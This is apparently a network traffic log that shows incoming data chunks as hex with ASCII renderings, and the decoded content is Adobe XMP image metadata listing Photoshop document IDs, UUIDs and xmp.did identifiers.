2022-07-21 02:34:44 UTC	3740	IN	Data Raw: 37 61 36 39 64 65 63 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 61 64 6f 62 65 3a 64 6f 63 69 64 3a 70 68 6f 74 6f 73 68 6f 70 3a 64 66 64 39 37 30 30 35 2d 33 32 33 65 2d 31 31 64 61 2d 38 66 37 31 2d 38 38 65 63 62 36 30 38 31 62 63 35 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 61 64 6f 62 65 3a 64 6f 63 69 64 3a 70 68 6f 74 6f 73 68 6f 70 3a 65 30 32 64 38 31 30 37 2d 31 39 61 61 2d 31 31 37 38 2d 39 63 37 34 2d 66 32 65 34 61 38 37 66 63 32 36 36 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 61 64 6f 62 65 3a 64 6f 63 69 64 3a 70 68 6f 74 6f 73 68 6f 70 3a 65 30 33 36 38 30 30 63 2d 30 35 63 66 2d 31 31 64 61 2d 61 32 32 64 2d 65 61 32 37 35 35 64 30 61 34 32 62 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 61 64 Data Ascii: 7a69dec</rdf:li> <rdf:li>adobe:docid:photoshop:dfd97005-323e-11da-8f71-88ecb6081bc5</rdf:li> <rdf:li>adobe:docid:photoshop:e02d8107-19aa-1178-9c74-f2e4a87fc266</rdf:li> <rdf:li>adobe:docid:photoshop:e036800c-05cf-11da-a22d-ea2755d0a42b</rdf:li> <rdf:li>ad
2022-07-21 02:34:44 UTC	3756	IN	Data Raw: 44 46 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 75 75 69 64 3a 31 33 34 32 30 34 42 34 33 43 45 34 44 46 31 31 42 45 43 42 38 32 32 42 45 46 38 32 32 45 34 38 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 75 75 69 64 3a 31 33 35 39 46 43 32 39 38 30 46 32 45 30 31 31 41 41 31 42 45 42 41 43 44 35 44 34 30 36 46 32 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 75 75 69 64 3a 31 33 36 38 36 38 37 32 37 30 41 37 31 31 44 42 38 31 31 31 45 33 37 45 44 31 38 42 41 43 34 36 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 75 75 69 64 3a 31 33 42 36 39 35 37 43 44 32 30 31 31 31 44 42 39 39 31 36 46 42 31 45 45 42 37 34 39 36 35 46 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 75 75 69 64 3a 31 33 42 42 42 34 34 42 44 34 Data Ascii: DF</rdf:li> <rdf:li>uuid:134204B43CE4DF11BECB822BEF822E48</rdf:li> <rdf:li>uuid:1359FC2980F2E011AA1BEBACD5D406F2</rdf:li> <rdf:li>uuid:1368687270A711DB8111E37ED18BAC46</rdf:li> <rdf:li>uuid:13B6957CD20111DB9916FB1EEB74965F</rdf:li> <rdf:li>uuid:13BBB44BD4
2022-07-21 02:34:44 UTC	3772	IN	Data Raw: 41 44 39 46 46 45 44 45 45 36 38 33 42 32 36 30 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 75 75 69 64 3a 34 41 39 42 42 41 32 36 36 35 46 33 45 30 31 31 38 35 38 32 46 38 45 46 46 42 34 44 42 37 34 31 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 75 75 69 64 3a 34 41 43 32 36 41 33 39 44 33 36 45 44 44 31 31 41 31 35 30 38 32 43 45 46 45 46 38 41 43 38 44 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 75 75 69 64 3a 34 41 45 30 35 35 39 44 33 30 34 33 44 44 31 31 38 31 38 37 46 31 46 30 30 38 34 45 37 37 30 33 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 75 75 69 64 3a 34 42 30 39 39 33 35 41 36 39 42 39 44 43 31 31 42 46 33 37 43 34 34 35 34 41 33 43 41 35 36 44 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 75 Data Ascii: AD9FFEDEE683B260</rdf:li> <rdf:li>uuid:4A9BBA2665F3E0118582F8EFFB4DB741</rdf:li> <rdf:li>uuid:4AC26A39D36EDD11A15082CEFEF8AC8D</rdf:li> <rdf:li>uuid:4AE0559D3043DD118187F1F0084E7703</rdf:li> <rdf:li>uuid:4B09935A69B9DC11BF37C4454A3CA56D</rdf:li> <rdf:li>u
2022-07-21 02:34:44 UTC	3780	IN	Data Raw: 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 75 75 69 64 3a 36 30 33 36 35 30 35 38 35 35 34 41 44 45 31 31 41 32 39 34 44 32 41 34 30 33 39 38 35 45 44 41 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 75 75 69 64 3a 36 30 33 45 37 45 41 30 45 39 36 33 45 31 31 31 41 41 43 36 43 36 32 38 36 30 38 33 31 39 36 32 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 75 75 69 64 3a 36 30 35 37 45 32 44 46 45 46 31 36 31 31 44 46 39 45 36 46 46 33 37 39 34 42 42 30 38 32 34 46 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 75 75 69 64 3a 36 30 37 35 34 35 35 38 42 42 42 46 44 44 31 31 38 32 30 30 44 38 38 44 32 34 32 36 43 44 35 42 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 75 75 69 64 3a 36 30 38 35 30 41 45 36 37 39 43 37 45 30 31 31 Data Ascii: f:li> <rdf:li>uuid:60365058554ADE11A294D2A403985EDA</rdf:li> <rdf:li>uuid:603E7EA0E963E111AAC6C62860831962</rdf:li> <rdf:li>uuid:6057E2DFEF1611DF9E6FF3794BB0824F</rdf:li> <rdf:li>uuid:60754558BBBFDD118200D88D2426CD5B</rdf:li> <rdf:li>uuid:60850AE679C7E011
2022-07-21 02:34:44 UTC	3796	IN	Data Raw: 35 43 37 31 31 44 46 42 33 38 33 45 32 43 39 34 42 45 45 43 46 35 35 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 75 75 69 64 3a 39 33 36 39 30 34 32 43 32 46 34 36 44 45 31 31 42 44 39 45 45 35 41 36 36 33 39 41 36 32 35 46 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 75 75 69 64 3a 39 33 37 44 31 41 33 33 33 37 31 43 31 31 44 44 39 30 42 37 44 38 45 42 30 31 38 34 44 39 41 39 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 75 75 69 64 3a 39 33 38 37 35 37 46 42 43 44 36 37 44 45 31 31 39 34 31 46 41 35 30 39 32 42 39 42 36 37 42 35 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 75 75 69 64 3a 39 33 43 31 36 31 31 35 39 38 41 37 44 46 31 31 42 38 45 34 42 45 37 39 43 34 45 42 36 30 30 36 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 Data Ascii: 5C711DFB383E2C94BEECF55</rdf:li> <rdf:li>uuid:9369042C2F46DE11BD9EE5A6639A625F</rdf:li> <rdf:li>uuid:937D1A33371C11DD90B7D8EB0184D9A9</rdf:li> <rdf:li>uuid:938757FBCD67DE11941FA5092B9B67B5</rdf:li> <rdf:li>uuid:93C1611598A7DF11B8E4BE79C4EB6006</rdf:li> <r
2022-07-21 02:34:44 UTC	3812	IN	Data Raw: 44 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 75 75 69 64 3a 43 44 30 44 42 30 42 37 30 45 38 30 44 44 31 31 38 45 43 43 41 43 35 31 30 46 35 42 44 31 32 30 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 75 75 69 64 3a 43 44 31 34 34 41 31 41 42 43 45 31 44 45 31 31 42 42 45 37 44 41 39 46 42 34 36 36 44 42 41 31 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 75 75 69 64 3a 43 44 35 44 33 45 44 45 41 41 45 39 31 31 44 42 41 32 33 37 39 42 45 37 34 37 30 34 45 32 30 30 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 75 75 69 64 3a 43 44 36 41 32 37 36 46 32 32 33 31 45 30 31 31 39 37 36 38 44 45 32 46 35 32 31 31 32 46 36 42 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 75 75 69 64 3a 43 44 38 38 43 39 35 43 39 32 43 Data Ascii: D</rdf:li> <rdf:li>uuid:CD0DB0B70E80DD118ECCAC510F5BD120</rdf:li> <rdf:li>uuid:CD144A1ABCE1DE11BBE7DA9FB466DBA1</rdf:li> <rdf:li>uuid:CD5D3EDEAAE911DBA2379BE74704E200</rdf:li> <rdf:li>uuid:CD6A276F2231E0119768DE2F52112F6B</rdf:li> <rdf:li>uuid:CD88C95C92C
2022-07-21 02:34:44 UTC	3820	IN	Data Raw: 43 44 43 42 45 30 31 31 42 33 46 45 44 32 34 38 33 31 38 34 38 46 35 39 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 75 75 69 64 3a 45 42 34 35 32 35 38 35 36 33 39 37 44 45 31 31 41 34 43 30 43 41 33 43 34 45 46 46 43 41 33 36 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 75 75 69 64 3a 45 42 38 44 32 45 35 30 36 43 39 45 45 30 31 31 42 42 33 35 39 45 31 34 35 33 38 41 30 41 34 44 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 75 75 69 64 3a 45 42 39 44 43 33 37 45 33 42 36 45 44 45 31 31 38 39 34 42 46 46 45 35 41 32 36 43 44 36 34 33 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 75 75 69 64 3a 45 42 46 31 38 34 41 41 33 42 42 45 44 43 31 31 41 44 43 39 41 41 39 34 32 33 46 31 36 45 41 44 3c 2f 72 64 66 3a 6c 69 3e 20 3c Data Ascii: CDCBE011B3FED24831848F59</rdf:li> <rdf:li>uuid:EB4525856397DE11A4C0CA3C4EFFCA36</rdf:li> <rdf:li>uuid:EB8D2E506C9EE011BB359E14538A0A4D</rdf:li> <rdf:li>uuid:EB9DC37E3B6EDE11894BFFE5A26CD643</rdf:li> <rdf:li>uuid:EBF184AA3BBEDC11ADC9AA9423F16EAD</rdf:li> <
2022-07-21 02:34:44 UTC	3836	IN	Data Raw: 31 31 41 42 30 38 38 38 45 43 39 44 38 42 38 35 41 36 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 30 31 38 30 31 31 37 34 30 37 32 30 36 38 31 31 41 42 30 38 39 31 42 37 39 31 32 32 42 32 32 44 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 30 31 38 30 31 31 37 34 30 37 32 30 36 38 31 31 41 42 30 38 43 41 46 34 46 45 31 39 42 45 39 44 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 30 31 38 30 31 31 37 34 30 37 32 30 36 38 31 31 41 42 30 38 43 44 42 32 45 32 45 35 42 43 33 33 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 30 31 38 30 31 31 37 34 30 37 32 30 36 38 31 31 41 42 30 38 45 38 45 38 45 45 33 46 30 32 38 39 3c 2f 72 64 66 Data Ascii: 11AB0888EC9D8B85A6</rdf:li> <rdf:li>xmp.did:0180117407206811AB0891B79122B22D</rdf:li> <rdf:li>xmp.did:0180117407206811AB08CAF4FE19BE9D</rdf:li> <rdf:li>xmp.did:0180117407206811AB08CDB2E2E5BC33</rdf:li> <rdf:li>xmp.did:0180117407206811AB08E8E8EE3F0289</rdf
2022-07-21 02:34:44 UTC	3852	IN	Data Raw: 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 30 35 38 30 31 31 37 34 30 37 32 30 36 38 31 31 39 31 30 39 44 38 45 43 45 42 46 30 43 44 34 31 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 30 35 38 30 31 31 37 34 30 37 32 30 36 38 31 31 39 31 30 39 45 38 37 45 36 44 44 31 34 38 31 33 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 30 35 38 30 31 31 37 34 30 37 32 30 36 38 31 31 39 31 30 39 45 38 44 34 43 39 33 37 45 44 41 42 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 30 35 38 30 31 31 37 34 30 37 32 30 36 38 31 31 39 31 30 39 46 43 35 42 39 42 34 35 36 46 39 41 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 30 35 38 30 31 Data Ascii: > <rdf:li>xmp.did:05801174072068119109D8ECEBF0CD41</rdf:li> <rdf:li>xmp.did:05801174072068119109E87E6DD14813</rdf:li> <rdf:li>xmp.did:05801174072068119109E8D4C937EDAB</rdf:li> <rdf:li>xmp.did:05801174072068119109FC5B9B456F9A</rdf:li> <rdf:li>xmp.did:05801
2022-07-21 02:34:44 UTC	3859	IN	Data Raw: 46 33 39 32 34 44 45 31 31 31 38 46 45 42 44 33 34 39 43 39 32 36 38 45 36 45 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 30 37 45 32 41 39 41 41 36 42 32 30 36 38 31 31 38 38 43 36 41 33 30 33 41 37 32 37 33 32 46 41 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 30 37 62 35 63 33 34 30 2d 38 39 32 35 2d 61 32 34 37 2d 39 31 61 32 2d 62 32 31 63 39 35 64 34 63 66 62 62 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 30 37 64 39 66 62 38 38 2d 36 64 39 65 2d 34 37 63 66 2d 61 33 37 30 2d 38 38 31 63 38 36 33 34 65 63 62 35 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 30 37 65 30 63 31 32 62 2d 62 35 66 34 2d 34 62 30 64 2d 61 63 Data Ascii: F3924DE1118FEBD349C9268E6E</rdf:li> <rdf:li>xmp.did:07E2A9AA6B20681188C6A303A72732FA</rdf:li> <rdf:li>xmp.did:07b5c340-8925-a247-91a2-b21c95d4cfbb</rdf:li> <rdf:li>xmp.did:07d9fb88-6d9e-47cf-a370-881c8634ecb5</rdf:li> <rdf:li>xmp.did:07e0c12b-b5f4-4b0d-ac
2022-07-21 02:34:44 UTC	3875	IN	Data Raw: 34 39 63 62 31 63 37 61 65 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 31 33 31 39 35 30 66 34 2d 65 62 31 35 2d 64 37 34 66 2d 38 38 64 39 2d 38 38 61 61 65 66 37 32 61 32 63 30 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 31 33 32 62 34 39 36 39 2d 38 38 39 35 2d 31 39 34 64 2d 61 35 63 32 2d 35 66 34 30 66 32 32 38 33 30 37 36 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 31 33 33 37 34 31 43 45 37 32 32 32 36 38 31 31 38 44 42 42 45 41 45 30 45 45 35 42 30 30 38 41 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 31 33 33 37 45 32 46 46 30 44 32 30 36 38 31 31 38 33 44 31 41 46 37 41 30 30 46 33 36 39 33 33 3c 2f 72 64 66 3a Data Ascii: 49cb1c7ae</rdf:li> <rdf:li>xmp.did:131950f4-eb15-d74f-88d9-88aaef72a2c0</rdf:li> <rdf:li>xmp.did:132b4969-8895-194d-a5c2-5f40f2283076</rdf:li> <rdf:li>xmp.did:133741CE722268118DBBEAE0EE5B008A</rdf:li> <rdf:li>xmp.did:1337E2FF0D20681183D1AF7A00F36933</rdf:
2022-07-21 02:34:44 UTC	3891	IN	Data Raw: 38 38 61 39 2d 33 62 38 31 64 32 33 61 62 63 64 66 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 32 33 36 38 42 39 34 31 42 35 32 35 36 38 31 31 38 32 32 41 46 44 38 45 36 43 42 44 39 38 43 38 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 32 33 37 41 36 36 38 39 34 41 32 30 36 38 31 31 38 32 32 41 46 44 41 35 36 35 38 46 31 31 35 44 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 32 33 38 31 33 30 44 42 33 38 32 30 36 38 31 31 39 35 46 45 44 34 46 36 37 44 46 30 44 38 45 38 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 32 33 38 37 43 39 46 45 32 46 32 30 36 38 31 31 39 41 38 32 46 45 32 41 43 42 43 35 37 34 33 36 3c 2f 72 64 66 3a Data Ascii: 88a9-3b81d23abcdf</rdf:li> <rdf:li>xmp.did:2368B941B5256811822AFD8E6CBD98C8</rdf:li> <rdf:li>xmp.did:237A66894A206811822AFDA5658F115D</rdf:li> <rdf:li>xmp.did:238130DB3820681195FED4F67DF0D8E8</rdf:li> <rdf:li>xmp.did:2387C9FE2F2068119A82FE2ACBC57436</rdf:
2022-07-21 02:34:45 UTC	5497	IN	Data Raw: 44 39 44 45 31 31 31 41 44 44 32 39 42 36 38 34 45 34 35 45 35 38 31 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 32 41 41 35 42 39 30 39 38 38 34 43 31 31 45 31 39 45 33 37 46 32 43 37 46 44 36 37 39 38 35 41 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 32 41 44 42 34 34 36 33 31 42 32 30 36 38 31 31 41 36 31 33 44 42 32 36 39 46 45 46 35 32 34 44 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 32 41 45 46 37 42 38 45 32 31 32 30 36 38 31 31 38 30 38 33 46 31 44 34 33 45 41 39 37 31 32 42 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 32 42 34 34 30 43 37 46 30 37 32 30 36 38 31 31 38 30 38 33 39 43 38 46 41 37 33 37 39 36 34 32 Data Ascii: D9DE111ADD29B684E45E581</rdf:li> <rdf:li>xmp.did:2AA5B909884C11E19E37F2C7FD67985A</rdf:li> <rdf:li>xmp.did:2ADB44631B206811A613DB269FEF524D</rdf:li> <rdf:li>xmp.did:2AEF7B8E212068118083F1D43EA9712B</rdf:li> <rdf:li>xmp.did:2B440C7F0720681180839C8FA7379642
2022-07-21 02:34:45 UTC	5513	IN	Data Raw: 31 42 37 35 42 41 39 35 30 34 31 39 32 39 38 42 38 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 33 38 43 31 39 38 33 45 43 45 32 31 36 38 31 31 39 35 46 45 44 33 33 42 46 43 34 32 30 43 42 31 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 33 38 45 34 45 31 32 31 32 30 33 34 31 31 45 35 38 45 42 38 46 41 45 37 33 35 38 33 35 45 43 44 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 33 38 45 36 46 43 39 34 33 36 32 30 36 38 31 31 41 46 46 44 38 36 43 31 32 37 44 41 30 35 31 36 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 33 38 63 39 34 62 62 34 2d 61 63 33 36 2d 34 31 63 61 2d 38 32 37 66 2d 61 61 35 34 30 36 63 33 62 64 39 37 3c 2f Data Ascii: 1B75BA950419298B8</rdf:li> <rdf:li>xmp.did:38C1983ECE21681195FED33BFC420CB1</rdf:li> <rdf:li>xmp.did:38E4E121203411E58EB8FAE735835ECD</rdf:li> <rdf:li>xmp.did:38E6FC9436206811AFFD86C127DA0516</rdf:li> <rdf:li>xmp.did:38c94bb4-ac36-41ca-827f-aa5406c3bd97</
2022-07-21 02:34:45 UTC	5529	IN	Data Raw: 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 34 37 42 35 39 31 36 41 35 42 32 36 36 38 31 31 38 33 44 31 41 46 37 41 30 30 46 33 36 39 33 33 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 34 37 43 31 44 43 39 35 39 38 32 30 36 38 31 31 38 30 38 33 41 32 42 36 43 32 38 33 31 33 43 41 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 34 37 46 35 42 30 33 34 31 46 32 34 36 38 31 31 38 46 36 32 41 34 43 37 41 45 46 39 33 35 32 37 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 34 37 64 30 34 65 36 39 2d 61 61 37 65 2d 34 36 63 64 2d 38 30 62 34 2d 65 37 35 64 38 63 35 65 38 64 65 36 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d Data Ascii: /rdf:li> <rdf:li>xmp.did:47B5916A5B26681183D1AF7A00F36933</rdf:li> <rdf:li>xmp.did:47C1DC95982068118083A2B6C28313CA</rdf:li> <rdf:li>xmp.did:47F5B0341F2468118F62A4C7AEF93527</rdf:li> <rdf:li>xmp.did:47d04e69-aa7e-46cd-80b4-e75d8c5e8de6</rdf:li> <rdf:li>xm
2022-07-21 02:34:45 UTC	5537	IN	Data Raw: 38 35 38 65 34 64 61 34 66 31 34 33 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 34 66 35 62 62 35 61 62 2d 64 36 38 32 2d 66 34 34 32 2d 61 34 37 34 2d 64 37 63 35 39 39 37 64 34 63 65 38 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 34 66 38 38 32 30 65 62 2d 61 31 39 61 2d 34 64 64 61 2d 39 32 31 39 2d 35 38 65 64 66 33 65 38 36 61 35 63 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 34 66 39 64 61 62 36 36 2d 30 35 39 65 2d 65 62 34 63 2d 38 34 30 37 2d 66 38 32 62 64 66 63 62 63 30 61 34 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 34 66 62 34 31 37 34 65 2d 38 39 64 64 2d 34 63 66 61 2d 62 37 30 62 2d 38 37 63 63 36 32 39 Data Ascii: 858e4da4f143</rdf:li> <rdf:li>xmp.did:4f5bb5ab-d682-f442-a474-d7c5997d4ce8</rdf:li> <rdf:li>xmp.did:4f8820eb-a19a-4dda-9219-58edf3e86a5c</rdf:li> <rdf:li>xmp.did:4f9dab66-059e-eb4c-8407-f82bdfcbc0a4</rdf:li> <rdf:li>xmp.did:4fb4174e-89dd-4cfa-b70b-87cc629
2022-07-21 02:34:45 UTC	5553	IN	Data Raw: 31 36 63 62 39 62 38 65 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 35 63 65 36 62 37 32 66 2d 37 37 63 63 2d 35 62 34 39 2d 38 30 34 64 2d 30 39 31 30 32 64 36 66 64 30 31 32 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 35 64 33 36 63 36 36 65 2d 64 64 36 30 2d 34 31 34 66 2d 61 39 32 30 2d 30 63 65 33 32 66 32 31 31 61 33 34 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 35 64 36 65 63 34 38 34 2d 30 33 39 33 2d 30 37 34 33 2d 38 61 38 64 2d 34 33 36 39 62 30 32 31 36 64 37 31 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 35 64 38 32 33 62 38 38 2d 38 37 63 35 2d 34 37 64 33 2d 62 65 38 61 2d 66 34 31 64 63 32 63 66 37 63 36 Data Ascii: 16cb9b8e</rdf:li> <rdf:li>xmp.did:5ce6b72f-77cc-5b49-804d-09102d6fd012</rdf:li> <rdf:li>xmp.did:5d36c66e-dd60-414f-a920-0ce32f211a34</rdf:li> <rdf:li>xmp.did:5d6ec484-0393-0743-8a8d-4369b0216d71</rdf:li> <rdf:li>xmp.did:5d823b88-87c5-47d3-be8a-f41dc2cf7c6
2022-07-21 02:34:45 UTC	5569	IN	Data Raw: 78 6d 70 2e 64 69 64 3a 36 45 46 38 45 33 41 30 39 45 32 30 36 38 31 31 41 45 35 36 43 30 39 31 35 42 33 42 43 44 34 31 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 36 45 46 45 39 42 46 35 44 34 32 30 36 38 31 31 38 43 31 34 41 33 36 45 35 36 36 45 31 32 44 41 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 36 46 31 41 33 37 31 44 37 39 31 45 45 36 31 31 42 44 38 38 42 44 38 31 43 42 30 38 39 38 30 44 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 36 46 34 46 38 34 32 46 30 39 32 31 36 38 31 31 41 46 46 44 44 33 32 32 36 30 41 42 33 42 42 43 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 36 46 36 30 37 43 43 45 31 39 32 30 36 38 31 Data Ascii: xmp.did:6EF8E3A09E206811AE56C0915B3BCD41</rdf:li> <rdf:li>xmp.did:6EFE9BF5D42068118C14A36E566E12DA</rdf:li> <rdf:li>xmp.did:6F1A371D791EE611BD88BD81CB08980D</rdf:li> <rdf:li>xmp.did:6F4F842F09216811AFFDD32260AB3BBC</rdf:li> <rdf:li>xmp.did:6F607CCE1920681
2022-07-21 02:34:45 UTC	5577	IN	Data Raw: 70 2e 64 69 64 3a 37 34 43 39 46 38 36 33 35 38 37 39 45 34 31 31 42 41 37 42 46 44 34 37 36 35 30 35 38 34 38 42 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 37 34 43 41 37 36 33 34 31 45 30 43 45 34 31 31 39 37 46 32 38 33 44 45 41 39 46 42 44 39 44 31 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 37 34 46 31 35 36 45 41 31 42 32 33 36 38 31 31 41 35 35 46 43 37 34 43 33 35 43 39 37 31 43 32 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 37 34 61 31 34 66 33 37 2d 33 65 62 36 2d 34 39 37 61 2d 38 61 34 32 2d 37 37 33 32 64 35 39 36 61 64 63 33 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 37 34 61 66 34 61 66 38 2d 62 37 35 32 Data Ascii: p.did:74C9F8635879E411BA7BFD476505848B</rdf:li> <rdf:li>xmp.did:74CA76341E0CE41197F283DEA9FBD9D1</rdf:li> <rdf:li>xmp.did:74F156EA1B236811A55FC74C35C971C2</rdf:li> <rdf:li>xmp.did:74a14f37-3eb6-497a-8a42-7732d596adc3</rdf:li> <rdf:li>xmp.did:74af4af8-b752
